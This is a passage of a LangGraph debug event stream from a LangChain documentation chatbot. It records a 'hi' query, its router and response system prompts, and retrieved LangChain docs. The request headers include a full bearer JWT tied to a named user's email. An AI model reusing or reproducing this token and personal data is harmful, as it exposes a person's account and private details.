lots of integrations with other tools, and end-to-end chains for common applications.\\\\nIndexes: Language models are often more powerful when combined with your own text data - this module covers best practices for doing exactly that.\\\\nAgents: Agents involve an LLM making decisions about which Actions to take, taking that Action, seeing an Observation, and repeating that until done. LangChain provides a standard interface for agents, a selection of agents to choose from, and examples of end to end agents.\\\\nMemory: Memory is the concept of persisting state between calls of a chain/agent. LangChain provides a standard interface for memory, a collection of memory implementations, and examples of chains/agents that use memory.\\\\nChat: Chat models are a variation on Language Models that expose a different API - rather than working with raw text, they work with messages. LangChain provides a standard interface for working with them and doing all the same things as above.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nUse Cases#\\\\nThe above modules can be used in a variety of ways. LangChain also provides guidance and assistance in this. Below are some of the common use cases LangChain supports.\\\\n\\\\nAgents: Agents are systems that use a language model to interact with other tools. These can be used to do more grounded question/answering, interact with APIs, or even take actions.\\\\nChatbots: Since language models are good at producing text, that makes them ideal for creating chatbots.\\\\nData Augmented Generation: Data Augmented Generation involves specific types of chains that first interact with an external datasource to fetch data to use in the generation step. Examples of this include summarization of long pieces of text and question/answering over specific data sources.\\\\nQuestion Answering: Answering questions over specific documents, only utilizing the information in those documents to construct an answer. A type of Data Augmented Generation.\\\\nSummarization: Summarizing longer documents into shorter, more condensed chunks of information. A type of Data Augmented Generation.\\\\nQuerying Tabular Data: If you want to understand how to use LLMs to query data that is stored in a tabular format (csvs, SQL, dataframes, etc) you should read this page.\\\\nEvaluation: Generative models are notoriously hard to evaluate with traditional metrics. One new way of evaluating them is using language models themselves to do the evaluation. LangChain provides some prompts/chains for assisting in this.\\\\nGenerate similar examples: Generating similar examples to a given input. This is a common use case for many applications, and LangChain provides some prompts/chains for assisting in this.\\\\nCompare models: Experimenting with different prompts, models, and chains is a big part of developing the best possible application. The ModelLaboratory makes it easy to do so.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nReference Docs#\\\\nAll of LangChain’s reference documentation, in one place. Full documentation on all methods, classes, installation methods, and integration setups for LangChain.\\\\n\\\\nReference Documentation\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nLangChain Ecosystem#\\\\nGuides for how other companies/products can be used with LangChain\\\\n\\\\nLangChain Ecosystem\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nAdditional Resources#\\\\nAdditional collection of resources we think may be useful as you develop your application!\\\\n\\\\nLangChainHub: The LangChainHub is a place to share and explore other prompts, chains, and agents.\\\\nGlossary: A glossary of all related terms, papers, methods, etc. Whether implemented in LangChain or not!\\\\nGallery: A collection of our favorite projects that use LangChain. Useful for","type":"Document"}]],["steps",[]]],"interrupts":[]}} + +event: debug +data: {"step":2,"timestamp":"2025-09-15T19:26:57.605571+00:00","type":"checkpoint","payload":{"config":{"configurable":{"checkpoint_ns":"","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_id":"1f09269f-1e57-6141-8002-9f0597d5daea"}},"parent_config":{"configurable":{"checkpoint_ns":"","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_id":"1f09269f-0392-6f0b-8001-16692042b92d"}},"values":{"messages":[{"content":"hi","additional_kwargs":{},"response_metadata":{},"type":"human","name":null,"id":"7aae7cba-94b6-4218-8747-4f0f66a34000","example":false}],"steps":[],"documents":[{"id":null,"metadata":{"language":"en","title":"Introduction | 🦜️🔗 Langchain","changefreq":"weekly","description":"LangChain is a framework for developing applications powered by large language models (LLMs).","priority":"0.5","source":"https://js.langchain.com/docs/introduction","loc":"https://js.langchain.com/docs/introduction","lastmod":null,"uuid":"feabcd8c-edd5-5221-ba28-30ac81c1a391"},"page_content":"Introduction | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.3 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Last updated: 07.08.25","source":"https://js.langchain.com/docs/versions/v0_3/","loc":"https://js.langchain.com/docs/versions/v0_3/","lastmod":null,"uuid":"57aa0c97-cd76-55b6-b034-3466be0e5093"},"page_content":"LangChain v0.3 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.2 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"LangChain v0.2 was released in May 2024. This release includes a number of breaking changes and deprecations. This document contains a guide on upgrading to 0.2.x, as well as a list of deprecations and breaking changes.","source":"https://js.langchain.com/docs/versions/v0_2/","lastmod":null,"loc":"https://js.langchain.com/docs/versions/v0_2/","uuid":"9541a761-f9ec-5918-8d86-ecf8bf50ac05"},"page_content":"LangChain v0.2 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","changefreq":"weekly","description":"Introduction","priority":"0.5","source":"https://js.langchain.com/docs/contributing/documentation/style_guide","lastmod":null,"loc":"https://js.langchain.com/docs/contributing/documentation/style_guide","uuid":"e88da2f4-10f4-52b4-b0d2-72423f1dc62f"},"page_content":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"- Runnable Interface","source":"https://js.langchain.com/docs/concepts/lcel","loc":"https://js.langchain.com/docs/concepts/lcel","lastmod":null,"uuid":"50a26404-c85a-5f56-9589-773b53702159"},"page_content":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain releases | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"The LangChain ecosystem is composed of different component packages (e.g., @langchain/core, langchain, @langchain/community, @langchain/langgraph, partner packages etc.)","source":"https://js.langchain.com/docs/versions/release_policy","loc":"https://js.langchain.com/docs/versions/release_policy","lastmod":null,"uuid":"d7ae11db-bac7-5669-87cc-8629cfb61dd0"},"page_content":"LangChain releases | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Key-value stores are used by other LangChain components to store and retrieve data.","source":"https://js.langchain.com/docs/integrations/stores/","loc":"https://js.langchain.com/docs/integrations/stores/","lastmod":null,"uuid":"9f977d9f-3409-5b08-9027-cbe6ddad89cc"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Overview","source":"https://js.langchain.com/docs/concepts/key_value_stores","loc":"https://js.langchain.com/docs/concepts/key_value_stores","lastmod":null,"uuid":"187ab437-b454-5862-95a3-8c9e503f0308"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Why LangChain? | 🦜️🔗 Langchain","changefreq":"weekly","description":"The goal of the langchain package and LangChain the company is to make it as easy possible for developers to build applications that reason.","priority":"0.5","source":"https://js.langchain.com/docs/concepts/why_langchain","loc":"https://js.langchain.com/docs/concepts/why_langchain","lastmod":null,"uuid":"071032fb-45e5-56c5-be05-c44a9dcde806"},"page_content":"Why LangChain? | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Docusaurus | 🦜️🔗 LangChain","changefreq":"weekly","description":"Docusaurus is a static-site generator which provides out-of-the-box documentation features.","priority":"0.5","source":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","lastmod":null,"loc":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","uuid":"8ca8dfbc-51cb-5b5a-9870-a1203e464dfc"},"page_content":"of knowledge or computation. This can include Python REPLs, embeddings, search engines, and more. LangChain provides a large collection of common utils to use in your application.\\\\nChains: Chains go beyond just a single LLM call, and are sequences of calls (whether to an LLM or a different utility). LangChain provides a standard interface for chains, lots of integrations with other tools, and end-to-end chains for common applications.\\\\nIndexes: Language models are often more powerful when combined with your own text data - this module covers best practices for doing exactly that.\\\\nAgents: Agents involve an LLM making decisions about which Actions to take, taking that Action, seeing an Observation, and repeating that until done. LangChain provides a standard interface for agents, a selection of agents to choose from, and examples of end to end agents.\\\\nMemory: Memory is the concept of persisting state between calls of a chain/agent. LangChain provides a standard interface for memory, a collection of memory implementations, and examples of chains/agents that use memory.\\\\nChat: Chat models are a variation on Language Models that expose a different API - rather than working with raw text, they work with messages. LangChain provides a standard interface for working with them and doing all the same things as above.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nUse Cases#\\\\nThe above modules can be used in a variety of ways. LangChain also provides guidance and assistance in this. Below are some of the common use cases LangChain supports.\\\\n\\\\nAgents: Agents are systems that use a language model to interact with other tools. These can be used to do more grounded question/answering, interact with APIs, or even take actions.\\\\nChatbots: Since language models are good at producing text, that makes them ideal for creating chatbots.\\\\nData Augmented Generation: Data Augmented Generation involves specific types of chains that first interact with an external datasource to fetch data to use in the generation step. Examples of this include summarization of long pieces of text and question/answering over specific data sources.\\\\nQuestion Answering: Answering questions over specific documents, only utilizing the information in those documents to construct an answer. A type of Data Augmented Generation.\\\\nSummarization: Summarizing longer documents into shorter, more condensed chunks of information. A type of Data Augmented Generation.\\\\nQuerying Tabular Data: If you want to understand how to use LLMs to query data that is stored in a tabular format (csvs, SQL, dataframes, etc) you should read this page.\\\\nEvaluation: Generative models are notoriously hard to evaluate with traditional metrics. One new way of evaluating them is using language models themselves to do the evaluation. LangChain provides some prompts/chains for assisting in this.\\\\nGenerate similar examples: Generating similar examples to a given input. This is a common use case for many applications, and LangChain provides some prompts/chains for assisting in this.\\\\nCompare models: Experimenting with different prompts, models, and chains is a big part of developing the best possible application. The ModelLaboratory makes it easy to do so.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nReference Docs#\\\\nAll of LangChain’s reference documentation, in one place. Full documentation on all methods, classes, installation methods, and integration setups for LangChain.\\\\n\\\\nReference Documentation\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nLangChain Ecosystem#\\\\nGuides for how other companies/products can be used with LangChain\\\\n\\\\nLangChain Ecosystem\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nAdditional Resources#\\\\nAdditional collection of resources we think may be useful as you develop your application!\\\\n\\\\nLangChainHub: The LangChainHub is a place to share and explore other prompts, chains, and agents.\\\\nGlossary: A glossary of all related terms, papers, methods, etc. Whether implemented in LangChain or not!\\\\nGallery: A collection of our favorite projects that use LangChain. Useful for","type":"Document"}],"query":"hi"},"metadata":{"source":"loop","step":2,"parents":{}},"next":["respond"],"tasks":[{"id":"cf0e5add-0960-fbe6-51c9-ead46a930daf","name":"respond","interrupts":[],"state":null}],"checkpoint":{"checkpoint_id":"1f09269f-1e57-6141-8002-9f0597d5daea","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":""},"parent_checkpoint":{"checkpoint_id":"1f09269f-0392-6f0b-8001-16692042b92d","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":""}}} + +event: debug +data: {"step":3,"timestamp":"2025-09-15T19:26:57.605589+00:00","type":"task","payload":{"id":"cf0e5add-0960-fbe6-51c9-ead46a930daf","name":"respond","input":{"messages":[{"content":"hi","additional_kwargs":{},"response_metadata":{},"type":"human","name":null,"id":"7aae7cba-94b6-4218-8747-4f0f66a34000","example":false}],"router":{"type":"general","logic":""},"steps":[],"documents":[{"id":null,"metadata":{"language":"en","title":"Introduction | 🦜️🔗 Langchain","changefreq":"weekly","description":"LangChain is a framework for developing applications powered by large language models (LLMs).","priority":"0.5","source":"https://js.langchain.com/docs/introduction","loc":"https://js.langchain.com/docs/introduction","lastmod":null,"uuid":"feabcd8c-edd5-5221-ba28-30ac81c1a391"},"page_content":"Introduction | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.3 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Last updated: 07.08.25","source":"https://js.langchain.com/docs/versions/v0_3/","loc":"https://js.langchain.com/docs/versions/v0_3/","lastmod":null,"uuid":"57aa0c97-cd76-55b6-b034-3466be0e5093"},"page_content":"LangChain v0.3 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.2 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"LangChain v0.2 was released in May 2024. This release includes a number of breaking changes and deprecations. This document contains a guide on upgrading to 0.2.x, as well as a list of deprecations and breaking changes.","source":"https://js.langchain.com/docs/versions/v0_2/","lastmod":null,"loc":"https://js.langchain.com/docs/versions/v0_2/","uuid":"9541a761-f9ec-5918-8d86-ecf8bf50ac05"},"page_content":"LangChain v0.2 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","changefreq":"weekly","description":"Introduction","priority":"0.5","source":"https://js.langchain.com/docs/contributing/documentation/style_guide","lastmod":null,"loc":"https://js.langchain.com/docs/contributing/documentation/style_guide","uuid":"e88da2f4-10f4-52b4-b0d2-72423f1dc62f"},"page_content":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"- Runnable Interface","source":"https://js.langchain.com/docs/concepts/lcel","loc":"https://js.langchain.com/docs/concepts/lcel","lastmod":null,"uuid":"50a26404-c85a-5f56-9589-773b53702159"},"page_content":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain releases | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"The LangChain ecosystem is composed of different component packages (e.g., @langchain/core, langchain, @langchain/community, @langchain/langgraph, partner packages etc.)","source":"https://js.langchain.com/docs/versions/release_policy","loc":"https://js.langchain.com/docs/versions/release_policy","lastmod":null,"uuid":"d7ae11db-bac7-5669-87cc-8629cfb61dd0"},"page_content":"LangChain releases | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Key-value stores are used by other LangChain components to 